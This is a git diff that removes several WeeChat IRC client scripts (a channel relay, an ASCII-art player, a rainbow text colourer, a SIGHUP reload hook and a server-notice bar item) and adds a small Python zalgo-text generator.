-		sendto($to_serv, "/notice $to_chan \x02$nick\x0f$host joined $server/$channel\x0f");
-	}
-
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_part
-{
-	my (undef, $server, $nick, $channel, $message) = (shift,
-		shift =~ /(.+),irc_raw_in_part/i,
-		shift =~ /:([^! ]*)[^ ]* part ([^ ]+) ?:?(.*)/i);
-	($server, $channel) = (lc $server, lc $channel);
-	return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
-
-	for (getgroup($server, $channel)) {
-		my ($to_serv, $to_chan, $flags, undef) = @$_;
-		next unless $flags & $STAT;
-		next if $flags & $READ;
-		next unless ircbuf("$to_serv.$to_chan");
-		sendto($to_serv, "/notice $to_chan \x02$nick\x0f left $server/$channel\x0f: $message");
-	}
-
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_kick
-{
-	my (undef, $server, $nick, $channel, $target, $message) = (shift,
-		shift =~ /(.+),irc_raw_in_kick/i,
-		shift =~ /:([^! ]*)[^ ]* kick ([^ ]+) ([^ ]+) :?(.*)/i);
-	($server, $channel) = (lc $server, lc $channel);
-	return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
-
-	for (getgroup($server, $channel)) {
-		my ($to_serv, $to_chan, $flags, undef) = @$_;
-		next unless $flags & $STAT;
-		next if $flags & $READ;
-		next unless ircbuf("$to_serv.$to_chan");
-		sendto($to_serv, "/notice $to_chan \x02$nick\x0f kicked $target\x0f from $server/$channel\x0f: $message");
-	}
-
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_nick
-{
-	my (undef, $server, $nick, $newnick) = (shift,
-		shift =~ /(.+),irc_raw_in_nick/i,
-		shift =~ /:([^! ]*)[^ ]* nick :?(.*)/i);
-
-	for my $channel (keys %{ $chans{$server} }) {
-	my $iptr = weechat::infolist_get('irc_nick', '', "$server,$channel,$nick");
-	next unless $iptr;
-	weechat::infolist_free($iptr);
-	for (getgroup($server, $channel)) {
-		my ($to_serv, $to_chan, $flags, undef) = @$_;
-		next unless $flags & $STAT;
-		next if $flags & $READ;
-		next unless ircbuf("$to_serv.$to_chan");
-		sendto($to_serv, "/notice $to_chan \x02$nick\x0f is now \x02$newnick\x0f");
-	} }
-
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_quit
-{
-	my (undef, $server, $nick, $message) = (shift,
-		shift =~ /(.+),irc_raw_in_quit/i,
-		shift =~ /:([^! ]*)[^ ]* quit :?(.*)/i);
-
-	for my $channel (keys %{ $chans{$server} }) {
-	my $iptr = weechat::infolist_get('irc_nick', '', "$server,$channel,$nick");
-	next unless $iptr;
-	weechat::infolist_free($iptr);
-	for (getgroup($server, $channel)) {
-		my ($to_serv, $to_chan, $flags, undef) = @$_;
-		next unless $flags & $STAT;
-		next if $flags & $READ;
-		next unless ircbuf("$to_serv.$to_chan");
-		sendto($to_serv, "/notice $to_chan \x02$nick\x0f left $server: $message");
-	} }
-
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_mode
-{
-	my (undef, $server, $nick, $channel, $modes) = (shift,
-		shift =~ /(.+),irc_raw_in_mode/i,
-		shift =~ /:([^! ]*)[^ ]* mode ([^ ]+) (.*)/i);
-	($server, $channel) = (lc $server, lc $channel);
-	return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
-
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_topic
-{
-	my (undef, $server, $nick, $channel, $message) = (shift,
-		shift =~ /(.+),irc_raw_in_topic/i,
-		shift =~ /:([^! ]*)[^ ]* topic ([^ ]+) :?([^ ]+)/i);
-	($server, $channel) = (lc $server, lc $channel);
-	weechat::print('',"$server $channel");
-	return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
-	return weechat::WEECHAT_RC_OK if lc $nick eq lc weechat::info_get('irc_nick', $server);
-
-	for (getgroup($server, $channel)) {
-		my ($to_serv, $to_chan, $flags, undef) = @$_;
-		next unless $flags & $MODE;
-		next if $flags & $READ;
-		next unless ircbuf("$to_serv.$to_chan");
-		sendto($to_serv, "/topic $to_chan $message");
-	}
-
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub cmd_parrot
-{
-	my (undef, $buffer, $command) = @_;
-	my ($server, $channel) = servchan($buffer);
-	my ($flags, $remove, $groupname) =
-	   (     0,       0,         '');
-	for (split / +/, $command) {
-		/^-read$/   and ($flags |= $READ), next;
-		/^-stat$/   and ($flags |= $STAT), next;
-		/^-mode$/   and ($flags |= $MODE), next;
-		/^-remove$/ and ($remove = 1), next;
-		$groupname = $_; last;
-	}
-
-	unless ($groupname) {
-		if ($chans{$server}{$channel}) {
-			for (getgroup($server, $channel)) {
-				my ($to_serv, $to_chan, $flags, $group) = @$_;
-				my $flag_str = $flags ? ':' : '';
-				$flag_str .= ' readonly' if $flags & $READ;
-				$flag_str .= ' statusmsg' if $flags & $STAT;
-				$flag_str .= ' sendmodes' if $flags & $MODE;
-				weechat::print($buffer, weechat::prefix('server').
-					"Relaying to $to_serv/$to_chan in group $group$flag_str");
-			}
-		} else {
-			weechat::print($buffer, weechat::prefix('server').
-				"This channel is not being relayed");
-		}
-		return weechat::WEECHAT_RC_OK;
-	}
-
-	# clear hooks first (if they exist)
-	if (exists $cbs{$server}) {
-		weechat::unhook($cbs{$server}{$_}) for (keys %{ $cbs{$server} });
-		delete $cbs{$server};
-	}
-	@{ $chans{$server}{$channel} } =
-		grep { $_ ne $groupname } @{ $chans{$server}{$channel} };
-
-	if ($remove) {
-		delete $groups{$groupname}{$server}{$channel};
-		delete $groups{$groupname}{$server} unless $groups{$groupname}{$server};
-		delete $groups{$groupname} unless $groups{$groupname};
-		delete $chans{$server}{$channel} unless $chans{$server}{$channel};
-		delete $chans{$server} unless $chans{$server};
-
-		write_conf();
-		weechat::print($buffer, weechat::prefix('server').
-			"Removed relay from group $groupname");
-		return weechat::WEECHAT_RC_OK;
-	}
-
-	add_relay($groupname, $server, $channel, $flags);
-
-	write_conf();
-	weechat::print($buffer, weechat::prefix('server').
-		"Added relay to group $groupname");
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub completion_groupnames
-{
-	my $completion = pop;
-	weechat::hook_completion_list_add($completion, $_, 0,
-		weechat::WEECHAT_LIST_POS_SORT) for keys %groups;
-}
-
-if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
- $SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
-	$confpath = weechat::info_get('weechat_dir', '') . '/parrot.db';
-	weechat::hook_completion('perl_parrot_groupname', 'parrot.pl group names',
-		'completion_groupnames', '');
-	weechat::hook_command('parrot', $SCRIPT_DESC,
-		"[-read] [-stat] [-mode] groupname\n".
-		"-remove",
-		"-read: relay from this channel to others, but do not relay to\n".
-		"       this channel\n".
-		"-stat: show status messages (join/part) in this channel\n".
-		"-mode: transfer modes to this channel, even if you are op".
-		"groupname: all channels with the same group name are relayed together\n".
-		"-remove: remove this channel from the relay group",
-		'-remove %(perl_parrot_groupname) %-'.
-		'||-read|-stat|-mode|%(perl_parrot_groupname)|%*',
-		'cmd_parrot', '');
-	read_conf();
-}
diff --git a/irc/weechat/play.pl b/irc/weechat/play.pl
@@ -1,156 +0,0 @@
-use strict;
-use warnings;
-use File::Find::Rule;
-no strict 'subs';
-
-my $SCRIPT_NAME = 'play';
-my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
-my $SCRIPT_VERSION = '1.2';
-my $SCRIPT_LICENCE = 'Public domain';
-my $SCRIPT_DESC = 'Play ASCII art';
-our (%queue, %timer);
-
-if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
- $SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
-	weechat::hook_command('play', 'Play ASCII art',
-		'[-delay ms] [-repeat times] [-pipe "command"] [-fmt "list"] filename'.
-		"\n-find pattern\n-stop\n",
-		"-delay: delay in milliseconds between lines\n".
-		"-find: list matching files, don't play\n".
-		"-pipe: pipe output into command\n".
-		"-fmt: treat file as a format string and replace with arguments in\n".
-		"    list. Arguments are separated by semicolons (;)\n".
-		"filename: file to play. Supports wildcards. By default, searches\n".
-		"    subdirectories as well unless '/' is found in the filename\n".
-		"-stop: stop currently playing file in buffer",
-		'-delay|-pipe|-fmt|-repeat|%*'.
-		' || -find'.
-		' || -stop',
-		'cmd_play', '');
-
-	my %OPTIONS = (
-		delay => ['Default delay between lines, in milliseconds', 0],
-		dir => ['Art directory',
-			weechat::info_get('weechat_dir', '').'/ascii'],
-		find_limit => ['Maximum number of results returned by -find. '.
-			'-1 = unlimited (may lock up WeeChat with many results!)', 32],
-		);
-
-	for my $option (keys %OPTIONS) {
-		weechat::config_set_plugin($option, $OPTIONS{$option}[1])
-		 unless weechat::config_is_set_plugin($option);
-		weechat::config_set_desc_plugin($option, $OPTIONS{$option}[0]);
-	}
-}
-
-sub parse
-{
-	my ($input, $delay, $pipe, $find, $repeat, $fmt) =
-		(shift, weechat::config_get_plugin('delay'), '/msg *', 0, 1, '');
-
-	if ($input =~ / *-delay +([0-9]+) /) {
-		$delay = $1;
-		$input =~ s/-delay +[0-9]+//;
-	}
-	if ($input =~ / *-find /) {
-		$find = 1;
-		$input =~ s/-find//;
-	}
-	if ($input =~ / *-fmt +("(?:[^"\\]|\\.)+"|[^ ]+) /) {
-		$fmt = $1;
-		$fmt =~ s/^"(.+)"$/$1/ if $fmt =~ /^".+"$/;
-		$input =~ s/-fmt +("(?:[^"\\]|\\.)+"|[^ ]+)//;
-	}
-	if ($input =~ / *-repeat +([0-9]+) /) {
-		$repeat = $1;
-		$input =~ s/-repeat +[0-9]+//;
-	}
-	if ($input =~ / *-pipe +("(?:[^"\\]|\\.)+"|[^ ]+) /) {
-		$pipe = $1;
-		$pipe =~ s/^"(.+)"$/$1/ if $pipe =~ /^".+"$/;
-		$input =~ s/-pipe +("(?:[^"\\]|\\.)+"|[^ ]+)//;
-	}
-
-	return ($delay, $pipe, $find, $repeat, $fmt, $input =~ s/^ +| +$//r);
-}
-
-sub play
-{
-	my $buffer = shift;
-
-	weechat::command($buffer, shift @{ $queue{$buffer} });
-	delete $queue{$buffer} unless @{ $queue{$buffer} };
-
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub cmd_play
-{
-	my $buffer = $_[1];
-
-	if ($_[2] eq '-stop') {
-		if (exists $timer{$buffer}) {
-			weechat::unhook($timer{$buffer});
-			delete $queue{$buffer};
-		}
-		return weechat::WEECHAT_RC_OK;
-	}
-
-	my ($delay, $pipe, $find, $repeat, $fmt, $file) = parse($_[2]);
-	my $server = weechat::info_get($buffer, 'localvar_server');
-	my ($prio_s, $prio_d) = (
-		weechat::config_get("irc.server.$server.anti_flood_prio_high"),
-		weechat::config_get("irc.server_default.anti_flood_prio_high"),
-		);
-	$delay = ($delay or 1000 * (
-		weechat::config_option_is_null($prio_s)
-		? weechat::config_integer($prio_d)
-		: weechat::config_integer($prio_s)
-		) or 10);
-
-	my $rule = File::Find::Rule
-		->file
-		->name($file)
-		->start(weechat::config_get_plugin('dir'));
-
-	if ($find) {
-		my $i = weechat::config_get_plugin('find_limit');
-		weechat::print($buffer, " \t$_")
-			while defined( $_ = $rule->match ) and --$i;
-		weechat::print($buffer, weechat::prefix('error').
-			"Too many results; please narrow your search") unless $i;
-		weechat::print($buffer, " \tEnd of file listing for '$file'");
-		return weechat::WEECHAT_RC_OK;
-	}
-
-	my $path;
-	if ($file =~ m"/") { $path = weechat::config_get_plugin('dir')."/$file" }
-	else { $path = $rule->match }
-
-	if ($path and -z $path) {
-		weechat::print($buffer, weechat::prefix('error').
-			"File '$file' is empty");
-	} elsif ($path and open FH, "<", $path) {
-		my @lines;
-		while (<FH>) {
-			no warnings; # sprintf barks if there's nothing to replace
-			$_ = sprintf $_, split ';', $fmt if $fmt;
-			push @lines, s/[\r\n]*$//r
-		}
-		close FH;
-		for (1 .. $repeat) {
-			push @{ $queue{$buffer} }, "$pipe \x0f$_\x0f" for @lines;
-		}
-
-		weechat::unhook($timer{$buffer}) if exists $timer{$buffer};
-		$timer{$buffer} =
-			weechat::hook_timer($delay, 0, scalar @{ $queue{$buffer} },
-			'play', $buffer);
-	} else {
-		weechat::print($buffer, weechat::prefix('error').
-			"Cannot open '$file'".($! ? ": $!" : ""));
-		return weechat::WEECHAT_RC_ERROR;
-	}
-
-	return weechat::WEECHAT_RC_OK;
-}
diff --git a/irc/weechat/prismx.py b/irc/weechat/prismx.py
@@ -1,138 +0,0 @@
-# Copyright (c) 2010 Alex Barrett <al.barrett@gmail.com>
-#
-# Everyone is permitted to copy and distribute verbatim or modified
-# copies of this license document, and changing it is allowed as long
-# as the name is changed.
-#
-# DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
-# TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-#
-# 0. You just DO WHAT THE FUCK YOU WANT TO.
-
-import weechat as w
-import random
-import re
-
-SCRIPT_NAME	= "prismx"
-SCRIPT_AUTHOR  = "Alex Barrett <al.barrett@gmail.com>"
-SCRIPT_VERSION = "0.3.1"
-SCRIPT_LICENSE = "WTFPL"
-SCRIPT_DESC	= "Taste the rainbow."
-
-# red, lightred, brown, yellow, green, lightgreen, cyan,
-# lightcyan, blue, lightblue, magenta, lightmagenta
-ncolors = [5, 4, 7, 8, 3, 9, 10, 11, 2, 12, 6, 13]
-xcolors = [
-16,28,40,52,64,65,53,41,29,17,18,30,42,54,66,67,55,43,31,19,20,32,44,
-56,68,69,57,45,33,21,22,34,46,58,70,71,59,47,35,23,24,36,48,60,72,73,
-61,49,37,25,26,38,50,62,74,75,63,51,39,27]
-xxcolors = range(100)
-
-# we set this later
-color_count = 0
-
-# keeping a global index means the coloring will pick up where it left off
-color_index = 0
-
-# spaces don't need to be colored and commas cannot be because mIRC is dumb
-chars_neutral = " ,"
-chars_control = "\x01-\x1f\x7f-\x9f"
-
-regex_chars = "[^%(n)s%(s)s][%(n)s%(s)s]*" % { 'n': chars_neutral, 's': chars_control }
-regex_words = "[^%(n)s]+[%(n)s%(s)s]*" % { 'n': chars_neutral, 's': chars_control }
-
-
-if w.register(SCRIPT_NAME, SCRIPT_AUTHOR, SCRIPT_VERSION,
-			  SCRIPT_LICENSE, SCRIPT_DESC, "", ""):
-	w.hook_command("prism",
-		SCRIPT_DESC,
-		"[-rwmbexsp] [palette] text|-c[wbexsp] [palette] <sep> <command> <sep>text",
-		"    -r: randomizes the order of the color sequence\n"
-		"    -w: color entire words instead of individual characters\n"
-		"    -m: append /me to beginning of output\n"
-		"    -b: backwards text (entire string is reversed)\n"
-		"    -e: eye-destroying colors (randomized background colors)\n"
-		"    -c: specify a separator to turn on colorization\n"
-		"        eg. -c : /topic :howdy howdy howdy\n"
-		"    -x: extended color set, requires 256color terminal\n"
-		"    -s: stretch to fit text\n"
-		"    -p: specify color palette to use, comma separated\n"
-		"  text: text to be colored",
-		"-r|-w|-m|-b|-e|-c", "prism_cmd_cb", "")
-
-def prism_cmd_cb(data, buffer, args):
-	global color_index
-	color_local = color_index
-	color_index += 1
-
-	input = args.decode("UTF-8")
-	input_method = "command"
-
-	if not input or (input[0] == '-' and input.find(' ') == -1):
-		input = (input + ' ' if input else '') + w.buffer_get_string(buffer, "input")
-		input = input.decode("UTF-8")
-		input_method = "keybinding"
-
-	if not input:
-		return w.WEECHAT_RC_OK
-
-	optstop = input and input[0] == '-' and input.find(' ')
-	opts = input[1:optstop] if optstop else ''
-	cmdstop = 'c' in opts and input.find(' ', optstop+1)
-	cmd = ''
-	if 'm' in opts: cmd = '/me '
-	if 'c' in opts:
-		find = input[optstop+1:cmdstop]
-		where = input.find(find, cmdstop+1)
-		cmd = input[cmdstop+1:where]
-		input = input[where+len(find):]
-	else:
-		input = input[optstop+bool(optstop):]
-	regex = regex_words if 'w' in opts else regex_chars
-	inc = 'r' not in opts
-	bs = 'e' in opts
-	colors = ncolors if 'x' not in opts else (xxcolors if bs or not inc else xcolors)
-	if 'p' in opts:
-		i = input.find(' ')
-		colors = input[:i].split(',')
-		input = input[i+1:]
-	input = input[::-1] if 'b' in opts else input
-	output = u""
-	tokens = re.findall(regex, input)
-
-	if 's' in opts:
-		color_local = 0
-		colors = [colors[int(float(i)/len(tokens)*len(colors))]
-		 for i in xrange(len(tokens))]
-
-	color_count = len(colors)
-	for token in tokens:
-		# prefix each token with a color code
-		c1 = unicode(colors[color_local % color_count]).rjust(2, "0")
-		if bs:
-			c2 = random.randint(1, color_count - 1) % color_count
-			c2 = unicode(colors[c2 + 1 if c2 == color_local % color_count else c2]).rjust(2,"0")
-			output += u'\x03' + c1 + ',' + c2 + token
-		else:
-			output += u"\x03" + c1 + token
-
-		# select the next color or another color at
-		# random depending on the options specified
-		if not inc:
-			color_local += random.randint(1, color_count - 1)
-		else:
-			color_local += inc
-	output += u'\x0f'
-
-	# output starting with a / will be executed as a
-	# command unless we escape it with a preceding /
-	# Commands should use the -c flag
-	if len(output) > 0 and output[0] == "/":
-		output = "/" + output
-	if len(cmd) > 0:
-		output = cmd + output
-	if input_method == "keybinding":
-		w.buffer_set(buffer, "input", output.encode("UTF-8"))
-	else:
-		w.command(buffer, output.encode("UTF-8"))
-	return w.WEECHAT_RC_OK
diff --git a/irc/weechat/sighup.pl b/irc/weechat/sighup.pl
@@ -1,22 +0,0 @@
-use strict;
-use warnings;
-
-no strict 'subs';
-
-my $SCRIPT_NAME = 'sighup';
-my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
-my $SCRIPT_VERSION = '1.0';
-my $SCRIPT_LICENCE = 'Public domain';
-my $SCRIPT_DESC = 'Reload config on SIGHUP';
-
-if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
- $SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
-	weechat::hook_signal('signal_sighup', 'cb_sighup', '');
-}
-
-sub cb_sighup {
-	weechat::command('', '/reload');
-
-	return weechat::WEECHAT_RC_OK_EAT;
-}
-
diff --git a/irc/weechat/snomasks.pl b/irc/weechat/snomasks.pl
@@ -1,58 +0,0 @@
-# Released into the Public Domain
-
-# Note: After loading the script and adding snomasks into one of your bars, you
-# must request /umode once on each server you have server notices masks set on.
-# After that, the script will automatically update the bar item.
-
-use strict;
-use warnings;
-
-no strict 'subs';
-
-my $SCRIPT_NAME = 'snomasks';
-my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
-my $SCRIPT_VERSION = '1.1';
-my $SCRIPT_LICENCE = 'Public domain';
-my $SCRIPT_DESC = 'Server notice mask bar item for opers';
-
-if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
- $SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
-	weechat::bar_item_new('snomasks', 'bar_snomasks', '');
-	weechat::hook_signal('buffer_switch', 'buffer_switch', '');
-	weechat::hook_signal('irc_server_disconnected', 'irc_disconnected', '');
-	weechat::hook_signal('*,irc_raw_in_008', 'irc_008', '');
-}
-
-my %snomask;
-
-sub bar_snomasks {
-	my $buffer = weechat::current_buffer();
-
-	return ''
-		if weechat::buffer_get_string($buffer, 'localvar_plugin') ne 'irc';
-
-	my $server = weechat::buffer_get_string($buffer, 'localvar_server');
-	return $snomask{$server} // '';
-}
-
-sub buffer_switch {
-	weechat::bar_item_update('snomasks');
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_008 {
-	my (undef, $server, $modes) = (shift,
-		shift =~ /^(.+),irc_raw_in_008$/,
-		shift =~ /:[^ ]* 008 [^ ]* (?::Server notice mask \()?([^ )]*)/);
-	$server = lc $server;
-
-	$snomask{$server} = $modes;
-	weechat::bar_item_update('snomasks');
-	return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_disconnected {
-	my $server = pop;
-	delete $snomask{lc $server};
-	return weechat::WEECHAT_RC_OK;
-}
diff --git a/zalgo.py b/zalgo.py
@@ -0,0 +1,37 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+# zalgo text - developed by acidvegas in python (https://acid.vegas/random)
+
+from random import randint, choice
+
+def zalgo(text, intensity=50):
+	zalgo_chars = [chr(i) for i in range(0x0300, 0x036F + 1)]
+	zalgo_chars.extend([u'\u0488', u'\u0489'])
+	if not _is_narrow_build:
+		text = _insert_randoms(text)
+	zalgoized = []
+	for letter in text:
+		zalgoized.append(letter)
+		for _ in range(randint(0, intensity) + 1):
+			zalgoized.append(choice(zalgo_chars))
+	response = choice(zalgo_chars).join(zalgoized)
+	return response
+
+def _insert_randoms(text):
+	random_extras = [unichr(i) for i in range(0x1D023, 0x1D045 + 1)]
+	newtext = []
+	for char in text:
+		newtext.append(char)
+		if randint(1, 5) == 1:
+			newtext.append(choice(random_extras))
+	return u''.join(newtext)
+
+def _is_narrow_build():
+	try:
+		chr(0x10000)
+	except ValueError:
+		return True
+	return False
+
+for i in range(100):
+	print(zalgo('This is a test This is a test This is a test This is a test This is a test This is a test This is a test This is a test This is a test This is a test This is a test This is a test This is a test '))
+\ No newline at end of file